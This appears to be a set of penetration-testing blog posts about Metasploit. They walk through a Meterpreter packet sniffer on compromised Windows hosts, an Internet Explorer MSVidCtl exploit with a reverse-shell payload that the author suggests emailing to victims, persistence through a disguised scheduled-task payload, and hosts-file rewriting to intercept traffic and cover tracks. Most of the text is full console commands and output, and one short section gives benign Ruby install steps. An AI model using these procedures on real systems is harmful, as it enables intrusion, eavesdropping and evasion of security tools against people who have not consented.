Meterpreter Sniffer Module

HD released today a early sniffer beta module. This module uses the MicroOLAP Packet Sniffer SDK whish is a commercial product, it can sniff packets from the target system without writing to the filesystem or installing any drivers this adds to the stealthinest of the Meterpreter module. The module automatically excludes its own control traffic from the packet capture. I have tested this module in the following Windows Versions and Privileges:

  • Windows XP SP3 32 Bit - Administrator
  • Windows 2003 SP2 32 bit  - Administrator
  • Windows 2008 SP2 32 bit  - Administrator
  • Vista SP2 32 bit with UAC  - Administrator
  • Vista SP2 32 bit no UAC  - Administrator
  • Windows 7 32 bit with UAC  - Administrator
  • Windows 7 32 bit no UAC  - Administrator
  • Vista SP2 32 bit with UAC  - System
  • Windows 7 32 bit with UAC  - System

It worked on most the configurations without ay problems, except for Windows Vista and Windows 7 with UAC enabled and running as Local Administrator, when ran as system the UAC protection was not able to mitigate the attack.

to start using this module one must only load the module while in a Meterpreter shell on a compromised target. This is achieved in the following manner:

meterpreter > use sniffer
Loading extension sniffer...success.
 
meterpreter >

once the module is loaded one can proceed see the commands added to the console, to see the new commands one must only run the help command:

meterpreter > help
…….
Sniffer Commands
================
 
    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data
    sniffer_interfaces  List all remote sniffable interfaces
    sniffer_start       Capture packets on a previously opened interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet captures on the specified interface

As it can be seen the command allow one to:

  • List the interfaces in the target host
  • Start the packet capture
  • Get a status of the number of packet captured and the size of the captured data
  • Stop the capture
  • Dump the captured data to a pcap file

Lets start by knowing to key pieces of information if not know whish are what OS and under what account I’m running under:

meterpreter > sysinfo
Computer: AWINXP01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > getuid
Server username: ACMEPRODINC\Administrator
meterpreter >

As we can see the target machine is a Windows XP SP2 box and we are running under Domain Admin privileges in this box. We list the interfaces available on this box:

meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
meterpreter >

This command will give use lots of information like the MTU for the packets, if the interface usable for sniffing or not, if it is using DHCP to get its address and if it is a wireless interface. Know that we have the interfaces identified we can start sniffing on one of them:

meterpreter > sniffer_start 1 300000
[*] Capture started on interface 1 (300000 packet buffer)
meterpreter >

When starting the capture one must provide the interface number and the packet buffer to capture, if none is given a packet buffer of 200,000 packets will be used. We can check on the size of the packet capture and number of packets by running the sniffer_stats command and the number of the interface:

meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
        bytes: 17675
        packets: 196
meterpreter >

To clear the cache and save the capture to a file we run the sniffer_dump command and the file where we want to save the data to:

meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap
meterpreter >

Packets are saved in PCAP format and the buffer i the target machine is cleared. We can dump the next buffer and append it to the existing PCAP file if we want:

meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap
meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 216 packets to PCAP file /tmp/capture.cap
meterpreter >

To stop the packet capture we issue the sniffer_stop followed by the interface number to stop the capture:

meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
meterpreter >

We can later examine our captured packets with any tool that can read PCAP files like Wireshark or Network Miner. I hope you find this module as useful as I know the Pauldotcom crew will in our pentests.

Exploiting MSVidCtl ActiveX with Metasploit

Recently an exploit for MSVidCtl component of Microsoft DirectShow was found that caused a memory corruption on Internet Explorer 6 and 7 giving shell on the target box under the IE process. Trancer contributed a exploit module to Metasploit to exploit this vulnerability by creating a crafted GIF image. I would like to cover simple example on using the exploit and changing to another Meterpreter session so when the targeted Internet Explorer is killed by the user we do not lose the shell access. Migrate sadly does not work since the process is left in such an unstable state that trying to migrate the Meterpreter session tends to kill the session.

We start by running msfconsole after updating Metasploit to the latest version of Metsaploit dev version:

carlos@loki:~/svn/msf3-dev$ sudo ./msfconsole 
[sudo] password for carlos: 
                |                    |      _) |   
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __| 
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |   
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| 
                              _|                   
       =[ msf v3.3-dev
+ -- --=[ 384 exploits - 261 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 166 aux
msf >

 

We load the exploit module and set our Meterpreter payload and look at the options we have available:

msf > use exploit/windows/browser/msvidctl_mpeg2 
msf exploit(msvidctl_mpeg2) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(msvidctl_mpeg2) > show options
Module options:
   Name     Current Setting  Required  Description                                          
   ----     ---------------  --------  -----------                                          
   SRVHOST  0.0.0.0          yes       The local host to listen on.                         
   SRVPORT  8080             yes       The local port to listen on.                         
   SSL      false            no        Use SSL                                              
   URIPATH                   no        The URI to use for this exploit (default is random)  
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description                           
   ----      ---------------  --------  -----------                           
   EXITFUNC  process          yes       Exit technique: seh, thread, process  
   LHOST                      yes       The local address                     
   LPORT     4444             yes       The local port                        
Exploit target:
   Id  Name                                        
   --  ----                                        
   0   Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0  

 

We set our variables for the PAYLOAD and Exploit module:

msf exploit(msvidctl_mpeg2) > set SRVPORT 80
SRVPORT => 80
msf exploit(msvidctl_mpeg2) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(msvidctl_mpeg2) > set URIPATH secure.html
URIPATH => secure.html
msf exploit(msvidctl_mpeg2) > exploit
[*] Exploit running as background job.
msf exploit(msvidctl_mpeg2) > 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/secure.html
[*]  Local IP: http://192.168.1.158:80/secure.html
[*] Server started.

Now we have the exploit serving a HTML file with the GIF to exploit a target. You can send the link to a target user within an email or thru any other method and once the user clicks the link and opens Internet explorer it gets exploited giving use shell:

[*] Sending HTML to 192.168.1.139:1126...
[*] Sending exploit to 192.168.1.139:1126...
[*] Sending GIF to 192.168.1.139:1126...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (206848 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.139:1127)
msf exploit(msvidctl_mpeg2) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > 

 

This will hang the Internet Explorer on the target machine. We want to migrate as quickly as possible so we can preserve the access, in my tests running migrate caused problems killing so I chose to use the scheduleme Meterpreter script to upload a Meterpreter payload and use the scheduler service to run the payload immediately and get a secondary shell:

 

meterpreter > run scheduleme -i -e ./rmeter.exe 
[*] Uploadingd ./rmeter.exe....
[*] ./rmeter.exe uploaded!
[*] Scheduling command C:\DOCUME~1\labuser\LOCALS~1\Temp\svhost46.exe to run now.....
[*] The scheduled task has been successfully created
[*] For cleanup run schtasks /delete /tn syscheck36 /F
meterpreter > 
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (206848 bytes)
[*] Meterpreter session 2 opened (192.168.1.158:4444 -> 192.168.1.139:1128)
meterpreter > 
Background session 1? [y/N]  
msf exploit(msvidctl_mpeg2) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer: WINXPLAB01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > 

 

We accessed the secondary shell by doing a Crtl-Z and backgrounding the initial session and interacting with the second one. This can be automated by setting the AutoRunScript.

Testing Metasploit in Ruby 1.9.1 on Ubuntu

The Metasploit team recently started the experimental support of Ruby 1.9.1 whish provides a considerable performance boost to the framework. Metasploit is the largest Ruby project to date so this means that it is not an easy task to test and make sure that all features and modules are compatible and running to standard in the new version of Ruby. I would like to share how to run Ruby 1.9.1 on your Ubuntu install if you are interested in helping find bugs and improve such a wonderful framework.

sudo apt-get remove ruby irb ri
sudo apt-get autoremove

Installing necessary components for compiling the new version of Ruby:

sudo apt-get install build-essential autoconf wget libreadline5-dev libncurses5-dev zlib1g-dev libsqlite3-dev libssl-dev

Downloading the latest stable version of Ruby 1.9:

wget ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.1-p129.tar.gz

tar xvzf ruby-1.9.1-p129.tar.gz

Then we configure the package, compile and install:

cd ruby-1.9.1-p129
autoconf
./configure --prefix=/usr --enable-pthread
make
sudo make install

Install Rails and bare Gems. You have to be aware that test-unit gem is crucial here.

sudo gem install rails sqlite3-ruby rubygems-update test-unit capistrano

Now we can download the latest version of Metasploit from the SVN and start testing:

svn co http://metasploit.com/svn/framework3/trunk/ msf3-dev
I’m using it for my day to day Metasploit use and for all my script development now to assure that all my scripts will be compatible with it. HD has been very quick at fixing reported bugs. Any bug you find please send the error message and a description of what you where running to msfdev@metasploit.com

Scripts are Ruby 1.9.1 Compatible

Today I finished the last modifications to my Meterpreter Scripts to function properly in Ruby 1.9.1 and committed the changes to the Metasploit SVN. Most of the changes very simple and had to do with the new way Ruby manages strings and the conversion of Arrays to strings.  Please do test the script and let me know any problems you might encounter.

Hostsedit Meterpreter Script

I recently commited to the Metasploit SVN the hostsedit.rb script, the main purpose of this script is for the adding of DNS name mappings in to the hosts file on a windows target host. The main purpose of this script is to redirect traffic destined for specific records to and IP address of the attacker choosing, very useful for performing Man In the Middle attacks or for redirecting traffic to managements or logging systems to localhost for covering ones track. To see the options available in the script you simply run it with out any option:

meterpreter > run hostsedit
This Meterpreter script is for adding entries in to the Windows Hosts file.
Since Windows will check first the Hosts file instead of the configured DNS Server
it will assist in diverting traffic to the fake entry or entries. Either a single
entry can be provided or a series of entries provided a file with one per line.
OPTIONS:
    -e <opt>  Host entry in the format of IP,Hostname.
    -h        Help Options.
    -l <opt>  Text file with list of entries in the format of IP,Hostname. One per line.
Example:
run hostsedit -e 127.0.0.1,google.com
run hostsedit -l /tmp/fakednsentries.txt

As it can be seen from the output above the 2 main option of this script is the addition of a single record where the IP and domain name are separated by a comma or the use of a file where each record to be added is one per line in the same format this permits the setting of hosts depending on the information gathered from the host or to be used in an automatic fashion where the script can be set in msfconsole to modify several clients as they connect to it. The script also has the capability in the case of Windows Vista target hosts to detect if UAC (User Access Control) is enabled since this will prevent any modification of the target hosts file.

Example of adding a single record and point google.com to another host in the network:

meterpreter > execute -H -c -f "cmd /c ping google.com" -i
Process 3544 created.
Channel 2 created.
Pinging google.com [74.125.127.100] with 32 bytes of data:
Reply from 74.125.127.100: bytes=32 time=238ms TTL=239
Reply from 74.125.127.100: bytes=32 time=224ms TTL=239
Reply from 74.125.127.100: bytes=32 time=256ms TTL=239
Reply from 74.125.127.100: bytes=32 time=278ms TTL=239
Ping statistics for 74.125.127.100:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 224ms, Maximum = 278ms, Average = 249ms
meterpreter > 
meterpreter > run hostsedit -e 192.168.1.120,google.com
[*] Making Backup of the hosts file.
[*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts.back
[*] Adding Record for Host google.com with IP 192.168.1.120
[*] Clearing the DNS Cache
meterpreter > execute -H -c -f "cmd /c ping google.com" -i
Process 2888 created.
Channel 3 created.
Pinging google.com [192.168.1.120] with 32 bytes of data:
Reply from 192.168.1.120: bytes=32 time=1ms TTL=64
Reply from 192.168.1.120: bytes=32 time=2ms TTL=64
Reply from 192.168.1.120: bytes=32 time=1ms TTL=64
Reply from 192.168.1.120: bytes=32 time=2ms TTL=64
Ping statistics for 192.168.1.120:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1ms, Maximum = 2ms, Average = 1ms
meterpreter >
As it can be seen from the output the script first makes a backup of the hosts file and then proceeds to append the record to the end of the hosts file and flushes the DNS cache to make sure that no previous DNS entries to the domain or host we want to redirect are not in the targets cache.  Here we see the command but for redirecting 2 entries:
msf exploit(handler) > cat /tmp/fakednsentries.txt
[*] exec: cat /tmp/fakednsentries.txt
127.0.0.1,symantec.com
127.0.0.1,microsoft.com
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > run hostsedit -l /tmp/fakednsentries.txt
[*] Making Backup of the hosts file.
[*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts.back
[*] Adding Record for Host symantec.com with IP 127.0.0.1
[*] Adding Record for Host microsoft.com with IP 127.0.0.1
[*] Clearing the DNS Cache
meterpreter > execute -H -c -f "cmd /c ping symantec.com" -i
Process 3296 created.
Channel 8 created.
Pinging symantec.com [127.0.0.1] with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time=2ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 2ms, Average = 0ms
meterpreter >